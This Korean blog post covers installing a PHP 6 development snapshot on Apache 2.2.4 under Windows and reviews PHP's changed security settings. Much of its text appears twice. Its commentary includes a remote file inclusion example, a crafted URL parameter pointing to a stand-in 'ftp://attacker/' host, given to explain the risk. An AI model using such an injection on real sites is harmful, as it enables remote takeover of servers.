얼마전에 'PHP 6 에서의 변화' 라는 글을 올린 적이 있습니다. 마침 연휴기간이고 해서 문서 상에 언급된 변화가 실제로 어떻게 반영되었는지 알아보기 위해 PHP 6 를 직접 설치해보았습니다.

( Apache 2.2.4+PHP 6.0 연동 운영 화면 )
아래에 제 설치 경험담을 간략히 정리해볼까 합니다. 미리 말씀드리자면 제 블로그에 오시는 분들이 대부분 IT 전문가시기 때문에, 읽는 분들 지루하게 Step-by-Step 형식으로 설명드리지는 않겠습니다.
위에 붉은 글씨로 적어둔 부분에 주의하시기 바랍니다. php 설치 매뉴얼과 달리 위 내용이 없으면 Apache 2.2.x 와 PHP 6 가 모듈로 연동이 안됩니다. 이 부분 때문에 1시간 가량 다양한 삽질(?)을 했는데, PHP 6가 나온지 얼마 안되어 그런지 인터넷에는 위의 Tip 이 없더군요. 저도 미친 셈치고 저 부분을 추가해보았는데 예상 외로 연동이 되었습니다.
그럼 PHP 6 에서 달라진 부분을 직접 phpinfo 결과를 보면서 알아볼까 합니다.

로고 부분에 PHP 6.0.0-dev 개발버전이라고 표기가 됩니다. Server API 는 Apache 2.0 Handler 라고 나오는군요.

PHP core 에 보면 'PHP 6 에서의 변화' 에 언급되었듯이 allow_url_fopen 과 allow_url_include 가 분리되어 있습니다. 디폴트로 allow_url_fopen 은 활성화되어 있군요. 보안 상 매우 걱정스러운 부분입니다. 예전에 제가 발표했던 제로보드 보안 권고문이라던가, 국내 다른 보안 전문가가 발표한 보안 권고문을 보면 PHP 의 fopen 함수는 보안상 심각한 Hole 임을 알 수 있습니다.
흔히 fopen 함수는 스킨이나 대문을 구현하기 위해 사용되는데 fopen($variable/skin.php) 같은 코드가 쓰입니다. 해커가 variable 변수를 조작할 수 있다면 원격에서 자신이 원하는 명령어를 실행시킬 수 있겠죠. vulnerable.php?variable=ftp://attacker/ 처럼 해서 말이죠. 이때 재미있는 점은 PHP 의 fopen 함수는 http:// 에 대해서는 원격 include 가 안되지만, ftp:// 에 대해서는 원격 include 가 된다는 점입니다. 이를 이용해 악의를 가진 해커가 익명 FTP 서버를 올려서 취약한 시스템을 장악할 수 있게 됩니다. PHP 프로젝트 팀이 이런 사실을 충분히 인지하고 있는지 궁금하네요.
magic_quotes_gpc 나 safe_mode, register_globals, register_long_arrays 등은 아예 사라진 것을 알 수 있습니다. 대신 sql.safe_mode 라는게 들어왔군요. 이게 무슨 기능을 하는지는 좀더 연구해보도록 하겠습니다.

사용자 입력값 검증을 위해 filter 모듈이 제공되는 것을 볼 수 있습니다. 재미있군요. 그러고 보니 php 디렉터리에 php6apache2_2.dll 외에 php6apache2_2_filter.dll 이 제공되던데, 이 dll 과 관련이 있으려나요? 어쨌든 해당 dll 을 사용하지 않아도 filter 모듈은 활성화되어 있습니다.
이번 기회를 통해 PHP 6 가 이전에 비해 보안상 많은 변화가 있음을 확인할 수 있었습니다. 그러나 보안상 바람직하지 않은 기능을 버림으로써 개발자들로부터는 하위 호환성을 저버렸다는 비난을 받을 것으로 보입니다. 이로 인해 PHP 6 로의 이전이 더디게 진행될 수도 있겠죠.
제 견해로는 PHP 프로젝트의 발전 측면에서나, PHP 프로그래머의 몸값 측면에서 이런 변화를 긍정적으로, 신속히 받아들일 필요가 있다고 봅니다. PHP 보안에 대해 'PHP 는 맨날 뚫려', '보안 전문가들이 그러는데 PHP 로는 보안이 아예 불가능하데', 'PHP 프로그래머들이 초보라서 보안에 대해 모르는게 문제야' 와 같은 안좋은 평판이 많습니다(못믿겠는 분들은 Slashdot 을 뒤져보시기 바랍니다). 이런 평판이 PHP 프로그래머들의 낮은 몸값 형성에 일조하고 있다고 봅니다.
오늘날과 같이 전세계를 몇초안에 접속할 수 있고, 쇼핑몰, 인터넷 뱅킹이 활성화된 세상에서 보안은 프로그래머의 몸값이나 회사의 경쟁력 향상에도 영향을 줍니다. 국내에도 보안 경쟁력을 기반으로 프로젝트를 수주하는 중소 SI 회사가 몇 군데 있더군요. 변화 속에 기회가 있다고, PHP 6 로의 변화를 받아들이고 그 속에서 기회를 잡으시길 바랍니다.
-- 추가 --
1. sql.safe_mode 는 오래전부터 지원되던 것이군요. mysql 접속 시 영향을 주는 인자인데, 보안 상 큰 도움은 안되는 내용이군요. http://www.phpdig.net/ref/rn41.html
2. filter 는 php 5.2.0 부터 디폴트로 지원된다고 합니다. 추가된지 얼마 안된 기능이군요.
참고 1 - http://www.php.net/filter
참고 2 - 사용법 강좌 : http://devzone.zend.com/node/view/id/1113
참고 3 - 사용법 강좌 : http://phpro.org/tutorials/Filtering-Data-with-PHP.html

( Apache 2.2.4+PHP 6.0 연동 운영 화면 )
아래에 제 설치 경험담을 간략히 정리해볼까 합니다. 미리 말씀드리자면 제 블로그에 오시는 분들이 대부분 IT 전문가시기 때문에, 읽는 분들 지루하게 Step-by-Step 형식으로 설명드리지는 않겠습니다.
- 프로그램 설치
- 먼저 Apache 사이트에 접속해서 Apache 2.2.4 Windows 버전을 다운로드 받아 설치하였습니다.
- PHP 6 는 아직 개발 버전이기 때문에 Snapshot 사이트에 접속해서 Windows 용 PHP 6 를 다운로드 받아 C:/www 디렉터리에 압축을 풀어놓았습니다.
- 설정
- 먼저 PHP 설정을 위해 php.ini-recommended 를 php.ini 로 이름을 바꾸고, doc_root, ext 디렉터리 등 기본적인 설정을 제 상황에 맞게 변경하였습니다.
- Apache 설정 파일(httpd.conf)에서 기본적인 설정을 마치고 PHP 와의 연동을 위해 다음과 같이 하였습니다.
- Apache 설정 파일 디렉터리(conf) 아래에 있는 extra 디렉터리에 httpd-php.conf 라는 파일을 생성하고 httpd.conf 끝부분에 아래와 같은 내용을 추가하였습니다.
# PHP 6 settings
Include conf/extra/httpd-php.conf - httpd-php.conf 에는 아래와 같은 내용을 추가하였습니다.
# PHP configuration
# PHP 6 module setup
LoadModule php6_module "C:/php6/php6apache2_2.dll"
PHPIniDir "C:/php6"
AddType application/x-httpd-php .php
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php-source .phps - 설치 확인을 위해 web root 디렉터리의 index.php 에 <? phpinfo(); ?> 라는 내용을 적어 두었습니다.
- 이제 http://localhost/ 에 접속해보니 php 6 정보가 제대로 뜨더군요.
위에 붉은 글씨로 적어둔 부분에 주의하시기 바랍니다. php 설치 매뉴얼과 달리 위 내용이 없으면 Apache 2.2.x 와 PHP 6 가 모듈로 연동이 안됩니다. 이 부분 때문에 1시간 가량 다양한 삽질(?)을 했는데, PHP 6가 나온지 얼마 안되어 그런지 인터넷에는 위의 Tip 이 없더군요. 저도 미친 셈치고 저 부분을 추가해보았는데 예상 외로 연동이 되었습니다.
그럼 PHP 6 에서 달라진 부분을 직접 phpinfo 결과를 보면서 알아볼까 합니다.

로고 부분에 PHP 6.0.0-dev 개발버전이라고 표기가 됩니다. Server API 는 Apache 2.0 Handler 라고 나오는군요.

PHP core 에 보면 'PHP 6 에서의 변화' 에 언급되었듯이 allow_url_fopen 과 allow_url_include 가 분리되어 있습니다. 디폴트로 allow_url_fopen 은 활성화되어 있군요. 보안 상 매우 걱정스러운 부분입니다. 예전에 제가 발표했던 제로보드 보안 권고문이라던가, 국내 다른 보안 전문가가 발표한 보안 권고문을 보면 PHP 의 fopen 함수는 보안상 심각한 Hole 임을 알 수 있습니다.
흔히 fopen 함수는 스킨이나 대문을 구현하기 위해 사용되는데 fopen($variable/skin.php) 같은 코드가 쓰입니다. 해커가 variable 변수를 조작할 수 있다면 원격에서 자신이 원하는 명령어를 실행시킬 수 있겠죠. vulnerable.php?variable=ftp://attacker/ 처럼 해서 말이죠. 이때 재미있는 점은 PHP 의 fopen 함수는 http:// 에 대해서는 원격 include 가 안되지만, ftp:// 에 대해서는 원격 include 가 된다는 점입니다. 이를 이용해 악의를 가진 해커가 익명 FTP 서버를 올려서 취약한 시스템을 장악할 수 있게 됩니다. PHP 프로젝트 팀이 이런 사실을 충분히 인지하고 있는지 궁금하네요.
PHP 프로젝트 팀은 include 나 require 함수를 이용해 리모트 공격이 자주 발생하기 때문에 allow_url_include 만 Off 로 하면 된다는 안이한 생각을 하는게 아닌가 싶습니다.

magic_quotes_gpc 나 safe_mode, register_globals, register_long_arrays 등은 아예 사라진 것을 알 수 있습니다. 대신 sql.safe_mode 라는게 들어왔군요. 이게 무슨 기능을 하는지는 좀더 연구해보도록 하겠습니다.

사용자 입력값 검증을 위해 filter 모듈이 제공되는 것을 볼 수 있습니다. 재미있군요. 그러고 보니 php 디렉터리에 php6apache2_2.dll 외에 php6apache2_2_filter.dll 이 제공되던데, 이 dll 과 관련이 있으려나요? 어쨌든 해당 dll 을 사용하지 않아도 filter 모듈은 활성화되어 있습니다.
이번 기회를 통해 PHP 6 가 이전에 비해 보안상 많은 변화가 있음을 확인할 수 있었습니다. 그러나 보안상 바람직하지 않은 기능을 버림으로써 개발자들로부터는 하위 호환성을 저버렸다는 비난을 받을 것으로 보입니다. 이로 인해 PHP 6 로의 이전이 더디게 진행될 수도 있겠죠.
제 견해로는 PHP 프로젝트의 발전 측면에서나, PHP 프로그래머의 몸값 측면에서 이런 변화를 긍정적으로, 신속히 받아들일 필요가 있다고 봅니다. PHP 보안에 대해 'PHP 는 맨날 뚫려', '보안 전문가들이 그러는데 PHP 로는 보안이 아예 불가능하데', 'PHP 프로그래머들이 초보라서 보안에 대해 모르는게 문제야' 와 같은 안좋은 평판이 많습니다(못믿겠는 분들은 Slashdot 을 뒤져보시기 바랍니다). 이런 평판이 PHP 프로그래머들의 낮은 몸값 형성에 일조하고 있다고 봅니다.
오늘날과 같이 전세계를 몇초안에 접속할 수 있고, 쇼핑몰, 인터넷 뱅킹이 활성화된 세상에서 보안은 프로그래머의 몸값이나 회사의 경쟁력 향상에도 영향을 줍니다. 국내에도 보안 경쟁력을 기반으로 프로젝트를 수주하는 중소 SI 회사가 몇 군데 있더군요. 변화 속에 기회가 있다고, PHP 6 로의 변화를 받아들이고 그 속에서 기회를 잡으시길 바랍니다.
-- 추가 --
1. sql.safe_mode 는 오래전부터 지원되던 것이군요. mysql 접속 시 영향을 주는 인자인데, 보안 상 큰 도움은 안되는 내용이군요. http://www.phpdig.net/ref/rn41.html
2. filter 는 php 5.2.0 부터 디폴트로 지원된다고 합니다. 추가된지 얼마 안된 기능이군요.
참고 1 - http://www.php.net/filter
참고 2 - 사용법 강좌 : http://devzone.zend.com/node/view/id/1113
참고 3 - 사용법 강좌 : http://phpro.org/tutorials/Filtering-Data-with-PHP.html



덧글
니케 2007/03/18 18:29 # 답글
냐하 =_=....